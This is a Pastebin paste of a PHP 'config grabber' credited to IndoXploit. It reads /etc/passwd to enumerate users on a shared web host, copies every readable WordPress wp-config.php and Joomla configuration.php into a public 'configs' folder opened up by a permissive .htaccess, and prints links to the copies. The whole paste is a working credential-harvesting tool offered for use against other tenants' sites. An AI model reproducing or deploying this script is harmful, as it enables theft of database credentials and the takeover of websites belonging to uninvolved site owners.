Tu5b0l3d

Config Grabber Wordpress dan joomla

Dec 28th, 2015
2,608
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.93 KB | None | 0 0
  1. <?php
  2. // Tu5b0l3d
  3. // thx to: IndoXPloit, HNc
  4. // Config Wordpress and Joomla Grabber
  5. error_reporting(0);
  6.  echo "<h1><center>Created By IndoXploit<br><a href='configs/'style='text-decoration:none;'>Open Configs</a></center><br></h1>";
  7. //$us = file_get_contents("/etc/passwd");
  8. $usa = fopen('/etc/passwd','r');
  9. $dir = mkdir('configs', 0777);
  10. $rrrr = "Options all \n DirectoryIndex configs.html \n Require None \n Satisfy Any";
  11. $frr = fopen('configs/.htaccess', 'w');
  12.  
  13. fwrite($frr, $rrrr);
  14. while($us = fgets($usa)){
  15. if($us==""){
  16.     echo "cann't read /etc/passwd";
  17. }
  18. else{
  19. preg_match_all('/(.*?):x:/', $us, $user_byk);
  20.  
  21.     foreach($user_byk[1] as $user){
  22.         $dir1 = "/home/$user/public_html/";
  23.         if(is_readable($dir1)){
  24.             $dir = "/home/$user/public_html/wp-config.php";
  25.             $dir2 = "/home/$user/public_html/configuration.php";
  26.             $ambil = file_get_contents($dir);
  27.            
  28.        
  29.             if($ambil==""){
  30.                 $ambil_joom = file_get_contents($dir2);
  31.                 if($ambil_joom==""){                
  32.                   echo "<font color='green'>$user <= Readable (Bukan Wordpress dan Joomla)<br></font>";
  33.                
  34.             }
  35.             else{
  36.  
  37.                 $file1 = "configs/$user-configuration.txt";
  38.                 $fp2 = fopen($file1,"w");
  39.                 fputs($fp2,$ambil);
  40.  
  41.                 echo "<a href='configs/$user-configuration.txt'style='text-decoration:none;'>$user </a> <= Joomla<br>";
  42.                
  43.             }
  44.                
  45.             }
  46.             else{
  47.  
  48.                 $file1 = "configs/$user-wpconfig.txt";
  49.                 $fp2 = fopen($file1,"w");
  50.                 fputs($fp2,$ambil);
  51.  
  52.                 echo "<a href='configs/$user-wpconfig.txt'style='text-decoration:none;'>$user </a> <= Wordpress<br>";
  53.                
  54.             }
  55.  
  56.  
  57.     }
  58.         else{
  59.            
  60.              
  61.         }
  62.  
  63.    }
  64.  
  65. }
  66.  
  67. }
  68.    ?>
Advertisement
Add Comment
Please, Sign In to add comment